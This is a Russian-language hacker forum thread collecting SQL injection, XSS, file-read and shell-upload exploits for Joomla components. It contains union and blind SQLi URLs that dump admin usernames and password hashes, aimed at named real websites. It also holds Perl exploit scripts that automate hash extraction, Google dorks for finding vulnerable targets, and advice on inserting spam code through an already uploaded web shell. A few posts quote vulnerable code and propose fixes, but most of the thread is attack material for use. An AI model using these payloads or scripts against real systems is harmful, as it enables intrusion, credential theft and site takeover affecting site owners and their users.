Просмотр полной версии : Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов
winstrool
23.03.2012, 20:33
Joomla "com_rokmodule" component SQL Injection
Уязвим параметр moduleid, что позволяет провести SQL-injection.
Эксплyатация:
index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=[SQLblind]
PoC:
http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=20+and+1=1&offset=_OFFSET_
true
http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=20+and+1=1&offset=_OFFSET_
false
Уязвимый код:
components/com_rokmodule/rokmodule.php
if (isset($module_name)) {
$query="SELECT DISTINCT * from #__modules where titl e='".$module_name."'"; }
else {
$query="SELECT DISTINCT * from #__modules where id=".$module_id; }
Joomla "com_realty" component SQL Injection
Уязвим параметр id, что позволяет провести SQL-injection.
Эксплyатация:
http://site.ltd/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,version(),17,18,19,20,21,22,23,24,25,26,27,conc at_ws(0x3a,username,password,usertype,0x4861636b65 64206279204572656565),29,30,31,32,33+from+jos_user s+limit+0,1--+d
PoC:
http://expert-dubna.ru/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,version(),17,18,19,20,21,22,23,24,25,26,27,conc at_ws(0x3a,username,password,usertype,0x4861636b65 64206279204572656565),29,30,31,32,33+from+jos_user s+limit+0,1--+d
Исправление
Joomla "com_datsogallery" sqli
http://joomlaforum.ru/index.php?topic=33952.0;wap2
Плохое исправление, в если пофиксить сайт таким образом, sql inj не будет, но останется возможность sixss и вывод ошибки также не исчезнет
SIXSS PoC
http://www.lxphoto.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent:
alert(/xss/)
Для корректного исправления нужно добавить в предлагаемый код что-то вроде strip_tags, и error_reporting чтобы ошибки не выдавать:
error_reporting(0);
$browser = strip_tags($_SERVER['HTTP_USER_AGENT']);
$browser_tmp = ' '.strtoupper($browser);
if ((strpos($browser_tmp, 'SELECT')) or
(strpos($browser_tmp, 'DELETE')) or
(strpos($browser_tmp, 'UPDATE')) or
(strpos($browser_tmp, 'INSERT')) or
(strpos($browser_tmp, ' FROM ')) or
(strpos($browser_tmp, ' INTO ')) or
(strpos($browser_tmp, 'VALUES'))
) {
die('SQL-injection rejected.');
}
Я думаю лучше юзать скуль в данном случае.
GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'
Duplicate entry '5.0.26-log' for key 1
" if author else f"
Expl0ited said:
Я думаю лучше юзать скуль в данном случае.
GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'
Duplicate entry '5.0.26-log' for key 1
Или
GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla') on duplicate key update a=(select 1 from(select count(*),concat((select username from jos_users limit 0,1),floor(rand(0)*2)) x from jos_users group by x)a)-- -
Duplicate entry 'admin
1
' for key 1
На некоторых сайтах один из вариантов не работает
Skofield
05.06.2012, 17:53
Joomla "com_realty" SQL-inj
Уязвимый параметр:
http://site.com/index.php?option=com_realty&act=detailed&ln=[SQL-inj]
Эксплуатация:
http://site.com/index.php?option=com_realty&act=detailed&ln=-99999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,4 7,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63, 64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80 ,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,9 7,98,99,100,101,102,103,104,105,106,107,108,109,11 0,111,112,113,114,115,116,117,118,119,120,121,122, 123,124,125,126,127,128,129,130,131,132,133,134,13 5,136,137,138,139,140,141,142,143,144,145,146,147, 148,149,150,151,152,153,154,155,156,157,158,159,16 0,161,162,163,164,165,166,167,168,169,170,171,172, 173,174,175,176,177,178,179,180,181,182,183,184,18 5,186,187,188,189,190,191,192,193,194,195,196,197, 198,199,200,201,202,203,204,205,206,207,208,209,21 0,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,23 5,236,237,238,239,240,241,242,243,244,245,246,247, 248,249,250,251,252,253,254,255,256,257,258,259,26 0,261,262,263,264,265,266,267,268,269,270,271,272, 273,274,275,276,277,278,279,280,281,282,283,284,28 5,286,287,288,289,290--+
Замечание: 290 колонок. Простой скрипт, который подставит все колонки в url:
[PHP]
[COLOR="#0000BB"][COLOR="#007700"]
winstrool
05.06.2012, 19:13
Joomla "com_realty" SQL-inj
/showpost.php?p=3077437&postcount=253
Дополнение к топику))
winstrool
15.06.2012, 23:26
Joomla "com_ponygallery" component SQL Injection
Захожу на сайт _http://www.exploit-db.com и вижу в поиске последнеи сплоиты на джумлу
сам сплоит не выложен но сказано что найдена уязвимость в древнем компаненте com_ponygallery
_http://www.exploit-db.com/exploits/18741/
ищу по дорку в гугле "inurl:com_ponygallery"
нахожу уязвимый сайт и раскручиваю два уязвимых параметра...
один как sqli:
_http://judo.perm.ru/i
ndex.php?option=com_ponygallery&Itemid=131&func=detail&id=-270'+union+select+1,2,version(),4,5,6,7,8,9,0,11,1 2,13,14+--+
Второй как Blind:
h
ttp://www.trexgorka.ru/
index.php?option=com_ponygallery&Itemid=131&func=viewcategory&catid=1'+and+1=1+--+
TRUE
http://www.trexgorka.ru/
index.php?option=com_ponygallery&Itemid=131&func=viewcategory&catid=1'+and+1=0+--+
FALSE
Просматриваю код компанента на залитом шеле и нахожу уязвимый пораметре файла sub_viewdetails.php:
$database->setQuery(
"SELECT c.access FROM #__ponygallery_catg as c" . "\n left join #__ponygallery as a on a.catid=c.cid"
. "\n WHERE a.id= '$id'" );
а чтоб защитить компанент от уязвимости достаточно было добавить функцию "intval()"
anti-boyan по antichat'у в гуглу: "site:forum.antichat.ru com_ponygallery"
promarketing
20.06.2012, 00:43
============================================
Joomla! (Multiple) ExploiT
============================================
# Powered Joomla! 1.5 & All version Down (Multiple)
# Author: Mr.MLL
# Published: 2010-08-24
# Verified: yes
# Download Exploit Code
# Download N/A
===
# Software : http://www.joomla.org/download.html
# Vendor : http://www.joomla.org/
# Contact : Y-3@hotmail.com
===
logout();
// JS Popup message
if ( $message ) {
?>
=========
# ExploiT
http://127.0.0.1/path/index.php?option=cookiecheck&return=http://Google.com/
=========
# Thanks : milw0rm.com & exploit-db.com & offsec.com & inj3ct0r.com & www.hack0wn.com
exit ,, / Praise be to God for the blessing of Islam
какой толк от этой уязвимости?
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка:
defined('_JEXEC') or die('Restricted access');// no direct access
и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему..
есть у кого мысли как это обойти?
нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка:
defined('_JEXEC') or die('Restricted access');// no direct access
и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему..
есть у кого мысли как это обойти?
нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..
//defined('_JEXEC') or die('Restricted access'); // no direct access
winstrool
21.09.2012, 07:19
Joomla "com_sobi2" component SQL Injection
Уязвим параметр fid при установленом параметре sobi2Task=dd_download, что позволяет провести SQL-injection.
id - должен быть существующий.
Эксплyатация:
index2.php?option=com_sobi2&sobi2Task=dd_download&fid=[SQLblind]
PoC:
http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=1+--+
true
http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=0+--+
false
Дорк: "inurl:com_sobi2 fid"
Результатов: примерно 509 000
Уязвимый код:
com_sobi2/plugins/download/download.class.php
function downloadFile()
{
$config =& sobi2Config::getInstance();
$database =& $config->getDb();
$fid = sobi2Config::request($_REQUEST, "fid", 0);
if($fid) {
$query = "SELECT `filename`, `filetype`, `filesize`, `fileext`, `itemid` FROM `#__sobi2_plugin_download` WHERE `fid` =
{$fid}
AND `enabled` = 1";
$database->setQuery($query);
$file = null;
if( !$config->forceLegacy && class_exists( "JDatabase" ) ) {
$file = $database->loadObject();
}
else {
$database->loadObject( $file );
}
if( $database->getErrorNum() ) {
$config->logSobiError( "Download plugin. DB reports: ".$database->stderr() );
}
$query = "UPDATE `#__sobi2_plugin_download` SET `counter` = `counter` + 1 WHERE `fid` =
{$fid}
";
$database->setQuery($query);
$database->query();
}
else {
trigger_error("sobi_download::downloadFile(): missing file id",E_USER_WARNING);
return null;
}
if(!is_object($file)) {
trigger_error("sobi_download::downloadFile(): DB error ($query)",E_USER_WARNING);
return null;
}
$filePath = _SOBI_CMSROOT.DS.$this->directory.$file->itemid.DS.$file->filename;
if(!file_exists($filePath)) {
trigger_error("sobi_download::downloadFile(): file {$filePath} does not exist");
return null;
}
$fileType = $this->mapExtension($file->fileext);
ob_end_clean();
ob_start();
header("Content-Disposition: attachment; filename = \"{$file->filename}\"");
header("Content-Type: {$fileType}");
readfile($filePath);
exit();
}
Perl Exploit :
[I]За основу был взят сплоит от сюда /showpost.php?p=755600&postcount=90
и переделан под данную уязвимость
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " ################################################## ##############\n";
print " # Joomla Component com_sobi2 Blind SQL Injection Exploit #\n";
print " # Author:winstrool #\n";
print " # #\n";
print " # Dork: inurl:com_sobi2 #\n";
print " # Usage: perl sobi2.pl host path #\n";
print " # Example: perl sobi2.pl www.host.com /joomla/ -t 11 #\n";
print " ################################################## ##############\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $tid = $ARGV[2];
my %options = ();
GetOptions(\%options, "p=s", "t=i");
print "[~] Exploiting...\n";
if($options{"t"})
{
$tid = $options{"t"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i new;
my $query = "http://".$host.$path."index2.php?option=com_sobi2&sobi2Task=dd_download&fid=".$tid." and (SUBSTRING((SELECT concat_ws(0x3a,user(),version(),database())),".$i.",1))=CHAR(".$h.")";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
my $resp = $ua->get($query);
my $content = $resp->as_string;
if($content =~ /Disposition/)
{
return 1;
}
else
{
return 0;
}
}
winstrool
26.09.2012, 23:40
Joomla "com_ownbiblio" component SQL Injection
Уязвим параметр catid
Эксплyатация:
index.php?option=com_ownbiblio&catid=-1+union+select+1,2,3,concat(username,0x3a,password ,0x3a,usertype),5,6,7,8,9,0,11,12,13,14,15,16,17+f rom+jos_users+--+
количество калонок может меняться!
POC:
http://www.wisdomtherapy.com/index.php?option=com_ownbiblio&catid=-1+union+select+1,2,3,concat%28user%28%29,version%2 8%29,database%28%29%29,5,6,7,8,9,0,11,12,13,14,15, 16,17+from+jos_users+--+&Itemid=0&year=All&search=&page=2&view=catalogue
Дорк: "inurl:com_ownbiblio catid"
Уязвимый код:
сomponents/com_ownbiblio/models/ownbiblio.php
[QUOTE="None"]
function getCategoryByID($ID)
{
$query = "
SELECT
* FROM #__ownbiblio_categories WHERE ID =".
$ID
;
$category = $this->_getList($query);
return $category[0];
}
[ ... ]
function _getEntrysQuery($year = 'All', $catid = 0, $start, $end,$search = null, $ob_untilyear = null){
$query = "
SELECT
* FROM #__ownbiblio WHERE catid = " .
$catid
;
$limit = $ob_untilyear;
if($search){
$query .= " AND (tname LIKE '
%$search%
' OR ttitle LIKE '
%$search%
' OR tjourn LIKE '
%$search%
' OR tdate LIKE '
%$search%
' OR tdesc LIKE '
%$search%
' OR tkeys LIKE '
%$search%
')";
} elseif($year != 'All' && $year != 'Other'){
$query .= " AND tdate like '%" . $year . "%'";
} elseif($year == 'Other' && $ob_untilyear != null){
$query .= " AND tdate _getList($query);
return $category[0];
}
[ ... ]
function _getEntrysQuery($year = 'All', $catid = 0, $start, $end,$search = null, $ob_untilyear = null){
$query = "
SELECT
* FROM #__ownbiblio WHERE catid = " .
$catid
;
$limit = $ob_untilyear;
if($search){
$query .= " AND (tname LIKE '
%$search%
' OR ttitle LIKE '
%$search%
' OR tjourn LIKE '
%$search%
' OR tdate LIKE '
%$search%
' OR tdesc LIKE '
%$search%
' OR tkeys LIKE '
%$search%
')";
} elseif($year != 'All' && $year != 'Other'){
$query .= " AND tdate like '%" . $year . "%'";
} elseif($year == 'Other' && $ob_untilyear != null){
$query .= " AND tdate
winstrool
19.10.2012, 21:24
Joomla "com_jomtube" component SQL Injection
Уязвим параметр user_id
Эксплyатация:
index.php?view=videos&type=member&user_id=[ID юзера] and 1=0 union select 1,2,3,4,5,6,7,8,concat(username,0x3a,password,0x3a ,usertype),0,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27 from jos_users limit 0,5 -- &option=com_jomtube
user_id - должен быть существующий!
POC:
http://www.mbrrealty.com.au/index.php?view=videos&type=member&user_id=63%20and%201=0%20union%20select%201,2,3,4, 5,6,7,8,9,0,11,12,concat_ws%280x3a,user%28%29,vers ion%28%29,database%28%29%29,14,15,16,17,18,19,20,2 1,22,23,24,25,26,27%20--%20&option=com_jomtube
Дорк: "inurl:com_jomtube"
Уязвимый код:
components/com_jomtube/models/video.php
Пару моментов, все приводить не буду:
$where
= ' WHERE v.id = ' .
$this->_id
;
$join = ' LEFT JOIN #__users AS u ON u.id = v.user_id';
$select = ' v.*, u.name, u.username';
if ($c->community == 'JomSocial') {
$join.= ' LEFT JOIN #__community_users AS p ON p.userid =
v.user_id
';
$select.= ', p.avatar';
}
$select .= ', c.directory, c.family_id, c.category_name';
$join .= ' JOIN #__jomtube_categories AS c ON c.id = v.category_id';
$query = '
SELECT ' . $select . ' FROM #__jomtube_videos AS v ' . $join . $where
;
[ ... ]
function getVideosincategory() {
$query = 'SELECT v.*, c.directory, u.username, c.category_name, u.id as userid '
. ' FROM #__jomtube_videos AS v '
. ' LEFT JOIN #__users AS u ON
v.user_id = u.id
'
. ' JOIN #__jomtube_categories AS c ON c.id = v.category_id'
. ' WHERE v.category_id = '.$this->_data->category_id
. ' AND v.id != ' .
$this->_id
. ' AND v.published = 1 '
. ' ORDER BY v.date_added DESC'
. ' LIMIT 20'
;
$this->_db->setQuery($query);
return $this->_db->loadObjectList();
P.S:Уязвимость старая и давно есть в паблике, как сегодня убедился до сих пор актуальна.
http://www.exploit-db.com/exploits/14434/
Joomla tag Remote Sql Exploit
dork: inurl:index.php?option=com_tag
#!/usr/bin/perl -w
print"\t\t\n\n";
print"\t\n";
print"\t \n";
print"\t Joomla com_tag Remote Sql Exploi t \n";
print"\t\n\n";
useLWP::UserAgent;
print"\nExample:[http://wwww.site.com/]: ";
chomp(my $target=);
$user="username";
$pass="password";
$table="jos_users";
$d4n="com_tag&task";
$b=LWP::UserAgent->new() or die"Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)') ;
$host=$target."index.php?option=".$d4n."&tag=999999.9' union all select 1,concat(0x3c75 7365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";
$res=$b->request(HTTP::Request->new(GET=>$host));
$answer=$res->content;
if ($answer=~ /(.*?)/){
print"\nLos Information for site:\n";
print"\n
* Admin User : $1";
}
if ($answer=~/(.*?)/){print"\n
* Admin Hash : $1\n\n";
print"\t\t# Exploit finished #\n\n";}
else{print"\n[-] Exploit Failed...\n";}
winstrool
14.11.2012, 22:24
Joomla "com_commedia" component SQL Injection
Уязвим параметр id
Эксплyатация:
index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+concat%28username,0x3 a,password,0x3a,usertype%29,2+from+jos_users+where +usertype+like+0x2561646D696E6973747261746F7225+li mit+0,1+--+
POC:
http://www.radiodan[google]cemusic.com/index.php?option=com_commedia&format=raw&task=down&pid=124%27+and+1=0&id=2238+and+1=0+union+select+concat%28username,0x3 a,password,0x3a,usertype%29,2+from+jos_users+where +usertype+like+0x2561646D696E6973747261746F7225+li mit+1,1+--+
Дорк: "inurl:com_commedia id"
Уязвимый код:
components/com_commedia/models/file.php
function DownFile($image=false/*может картинка нужна?*/) {
include_once(JPATH_SITE.DS."components".DS."com_commedia".DS."classes".DS."functions.php");
$db =& JFactory::getDBO();
$db->setQuery("SELECT * FROM #__commedia_settings");
$commsett = $db->loadAssocList('name');
//кодировка файловой системы
$fnames_encoding = comm_getencoding($commsett['fnames_encoding']['value']);
$db->setQuery("SELECT CONCAT(path,'/',name) as path, name
FROM `#__commedia` as c, `#__commedia_path` as cp
WHERE c.rowid=".
$_REQUEST['id']
." and cp.path_id=".
$_REQUEST['pid']
);
if (!$db->query()) $path = ''; //если не удалось выполнить, значит запретим доступ
else {
$line=$db->loadObject();
if(!$line) $path = ''; //если ничего не найдено
else {
if (strpos($line->path,'ftp://') === 0) $ftphttp = 1; //для фтп пути отдельно
else if (strpos($line->path,'http://') === 0) $ftphttp = 2; //для http пути отдельно
else {
$ftphttp = 0;
$file = JPATH_SITE.DS.str_replace('/',DS,iconv('UTF-8', $fnames_encoding,$line->path));
if ($image=='1') $file = substr($file,0,-4).'.jpg';
else if ($image=='2') $file = substr($file,0,-4).'_thumb.jpg';
}
$name = $line->name;
}
}
P.S: "_ttp://www.explo[google]it-db.com/exploits/22152/"
KolosJey
14.11.2012, 22:55
Joomla "com_commedia" component SQL Injection
Уязвим параметр
id
Эксплyатация:
index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+concat%28username,0x3 a,password,0x3a,usertype%29,2+from+jos_users+where +usertype+like+0x2561646D696E6973747261746F7225+li mit+0,1+--+
POC:
Дорк:
"inurl:com_commedia id"
Уязвимый код:
components/com_commedia/models/file.php
P.S: "_ttp://www.explo[google]it-db.com/exploits/22152/"
Если не просто копипастить баги и совать кавычки, а хотя бы 10 секунд посмотреть в код, станет очевидно, что там ещё и чтение файлов.
Как там у хакеров? 0day pRiv8
index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+0x2e2f636f6e666967757 26174696f6e2e706870,2--+
winstrool
14.11.2012, 23:04
Если не просто копипастить баги и совать кавычки, а хотя бы 10 секунд посмотреть в код, станет очевидно, что там ещё и чтение файлов.
Как там у хакеров? 0day pRiv8
index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+0x2e2f636f6e666967757 26174696f6e2e706870,2--+
Моя цель была раскрыть сам уязвимый код, а не копипаст! на счет чтения файлов я тоже видел, но еще пока не проверил...
Joomla "com_conference" SQL Injection
Уязвим параметр ID
Эксплуатация:
/index.php?option=com_conference&task=show&id=999999.9 /*!UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,conc at(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e),0x31303235343830303536,0x313032 35343830303536*/--
Сканер joomla сайта
Появился новый проект - c0lips.ru (http://c0lips.ru), здесь вы можете проверить свой сайт на наличие уязвимых компонентах, посмотреть советы по устранению уязвимостей, посмотреть уязвимый код компонента и уже исправленный код.
Для актуализации проекта, прошу добавлять свои уязвимости по адресу: тык (http://c0lips.ru/admin.php)
Joomla All v1.5 Error Based SQL Injection Vulnerability
Joomla Component com_user
####
# Exploit Title: Joomla All v1.5 Error Based SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: https://www.facebook.com/Algerian.Cyber.Army
# E-mail: islam_babia@hotmail.com
# Category:: webapps
# script home : http://joomla.com
# Dork : inurlption=com_user
# Security Risk: critical
# Tested on: Back|Track 5 KDE / French
####
# this was written for educational purpose only. use it at your own risk.
# author will be not responsible for any damage caused! user assumes all responsibility
# intended for authorized web application pentesting only!
// Description :
the affected component is /com_user/ in all joomla v1.5
P.S : you could know the version by openning the source code of the target and searching for "joomla" you'll see the version
// Exploit :
http://site.com/index.php?option=com_user&view=reset&lang=en&Itemid=1+(sql injection)
http://site.com/index.php?option=com_user&view=reset&lang=en&Itemid=x+(sql injection) [replacing id number by character]
# priv8 youtube link, just people who has the link could view :
http://www.youtube.com/watch?v=g0QcjxIb68I
// Demo :
http://www.lyceeairbus.com/index.php?option=com_user&view=reset&lang=en&Itemid=1'
http://www.silviajewelry.com/index.php?option=com_user&view=reset&Itemid='
http://www.bklogisticsvn.com/index.php?option=com_user&view=reset&lang=en&Itemid='
http://algeria.ch/index.php?option=com_user&view=reset&lang=en&Itemid='
http://www.emissary.com/index.php?option=com_user&view=reset&lang=en&Itemid='
http://lookdezine.com/main/index.php?option=com_user&view=reset&lang=en&Itemid='
# Greets To : ================================================== ============================
# The Algerian Cyber Army Team , KedAns-Dz , Klashincov3 , Kha&Mix , King Of Pirates ,
# D4NB4R , Inj3ct0r Team , jos_ali_joe , exploit-id team , OWASP Algeria
# ... And All Algerian Hax0rs
================================================== ==========================================
# 1337day.com [2012-12-12][/quote]
Сканер joomla сайта
Появился новый проект -
c0lips.ru (http://c0lips.ru)
, здесь вы можете проверить свой сайт на наличие уязвимых компонентах, посмотреть советы по устранению уязвимостей, посмотреть уязвимый код компонента и уже исправленный код.
Для актуализации проекта, прошу добавлять свои уязвимости по адресу:
тык (http://c0lips.ru/admin.php)
отличный
TinyMCE TinyBrowser addon multiple vulnerabilities
Салют, парни, кому-то удалось использовать эту уязвимость для заливки шелла? Может натолкнете на мысль верную, как обойти Restricted access
http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities
Спасибо за помощь.
Салют, парни, кому-то удалось использовать эту уязвимость для заливки шелла? Может натолкнете на мысль верную, как обойти
Restricted access
http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities
Спасибо за помощь.
Данная бага актуальна для joomla 1.5.12, которая сейчас практически не встречается и как вы ее собрались использовать я не понимаю.
В joomla заливайте шелл через модули/шаблоны, собственно как и в других CMS...
Подскажите пожалуйста, залит шелл на сайт под управлением Joomla (доступа в админку нет), подскажите можно ли в какой либо модуль воткнуть код системы sape ?
Дело в том что стоят права только на чтение в папке шаблона, и стандартным способом не удается установить sape
На модули выставлены права разрешающие редактирование
Также в папке шаблона залит мой php файл который я могу редактировать (на него выставлены права)
Заранее благодарен
winstrool
10.01.2013, 22:03
Подскажите пожалуйста, залит шелл на сайт под управлением Joomla (доступа в админку нет), подскажите можно ли в какой либо модуль воткнуть код системы sape ?
Дело в том что стоят права только на чтение в папке шаблона, и стандартным способом не удается установить sape
На модули выставлены права разрешающие редактирование
Также в папке шаблона залит мой php файл который я могу редактировать (на него выставлены права)
Заранее благодарен
Если есть возможность заливать в папку шаблона, то попробуй сначало скапировать к себе шаблон, орегинал удалить, а потом перезалить его, по идее должны стать права на правку, но естественно если сама папка в каторой находится шаблон с полными правами...
Если есть возможность заливать в папку шаблона, то попробуй сначало скапировать к себе шаблон, орегинал удалить, а потом перезалить его, по идее должны стать права на правку, но естественно если сама папка в каторой находится шаблон с полными правами...
права на правку только в одном файле который лежит в папке с шаблоном, могу редактировать только его
еще права на редактирование на папки модулей
winstrool
12.01.2013, 22:27
PHP-iclude: com_jomholiday
http://jomholiday.comdev.eu/component/jomholiday/index.php?option=com_jomholiday&task=item&id=80%27d&layout=writeareview/../../../../../../../../../../../../../../../../../../../home/jomholiday/public_html/index
залиться пока не получилось, как зальюсь приведу пример уязвимого кода.
infoseller
19.01.2013, 19:49
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013
# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP
# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/ --------------------------------------- # ~ Expl0itation ~
# ---------------------------------------
1- Google dork: [inurl:index.php?option=com_collector]
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends. #2013
http://www.exploit-db.com/exploits/24228/
winstrool
19.01.2013, 23:03
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013
# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP
# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/ --------------------------------------- # ~ Expl0itation ~
# ---------------------------------------
1- Google dork: [inurl:index.php?option=com_collector]
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends. #2013
http://www.exploit-db.com/exploits/24228/
P.S: копировать не стоит сплоиты с других ресурсов, если копи пастите, то лудше с раскрытием уязвимого года не болие...
exploit [joomla]
Test screen [http://data.imagup.com/10/1171476626.png] [http://168.63.206.26/test2.png]
3xpl01t c0d3 :
Dork (N/A) "inurl:option=com_huruhelpdesk" or "inurl:/index.php?option=com_huruhelpdesk&view=detail"
author : *devil-zone.net
greet is to : devil-zone.net *all members
vel = sqlI
S1mPl3 P3rL 3xpl01t3r
#!/usr/bin/perl
#greet is to Evil-Dz
system("clear");
print "***************************************\n";
print " * * * * Good Luck & Hafe Fun * * * * *\n";
print " * * * Coded by devil-zone forum * * **\n";
print "***************************************\n\n";
use LWP::UserAgent;
print "Target page [ex: HosT] --> ";
chomp(my $target= );
$column_name="concat(username,0x3a,password,0x3a,mail)";
$table_name="jos_users";
$prm="-1/**/union/**/select/**/";
$start= LWP::UserAgent->new() or die "[!] Error while processing";
$start->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
$website= $target . "/index.php?option=com_huruhelpdesk&view=detail&cid[0]=".$prm."1,2,3,".$column_name.",5,6,7+from+jos_users--";
$ok= $start->request(HTTP::Request->new(GET=>$website));
$ok1= $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
print "[+] Password found --> $1\n\n";
sleep 1;
}
else
{
print "No password found :(\n";
}
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013
# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP
# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/ --------------------------------------- # ~ Expl0itation ~
# ---------------------------------------
1- Google dork: [inurl:index.php?option=com_collector]
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends. #2013
http://www.exploit-db.com/exploits/24228/
подскажите пожалуйста, как туда залить шелл? выбрать файл, даёт. а кнопка на загрузку не активна.
Подскажите пожалуйста, это какая версия джумлы: $Id: configuration.php-dist 11687 2009-03-11 17:49:23Z ian $ ?
winstrool
25.02.2013, 23:58
Blind
Joomla "com_spidercalendar" component SQL Injection
Уязвим параметр calendar_id
POC:
http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1+and+1=1+--+&module_id=60&date60=2012-08-11&Itemid=
- true
http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1+and+1=0+--+&module_id=60&date60=2012-08-11&Itemid=
- false
Exploit переписанный под пример данного сайта!
#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " ################################################## ##############\n"; print " # Joomla Component com_spidercalendar Blind SQL Injection Exploit #\n"; print " # Author:winstrool #\n"; print " ################################################## ##############\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $tid = $ARGV[2]; my %options = (); GetOptions(\%options, "p=s", "t=i"); print "[~] Exploiting...\n"; if($options{"t"}) { $tid = $options{"t"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i new; my $query = "http://".$host.$path."index.php?option=com_spidercalendar&calendar_id=".$tid." and (SUBSTRING((SELECT concat(username,0x3a,password,0x3a,usertype) from jos_users limit 0,1),".$i.",1))=CHAR(".$h.") -- &module_id=60&date60=2012-08-11&Itemid=" ; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->as_string; if($content =~ /Rankings/) { #print $h; return 1; } else { return 0; } }
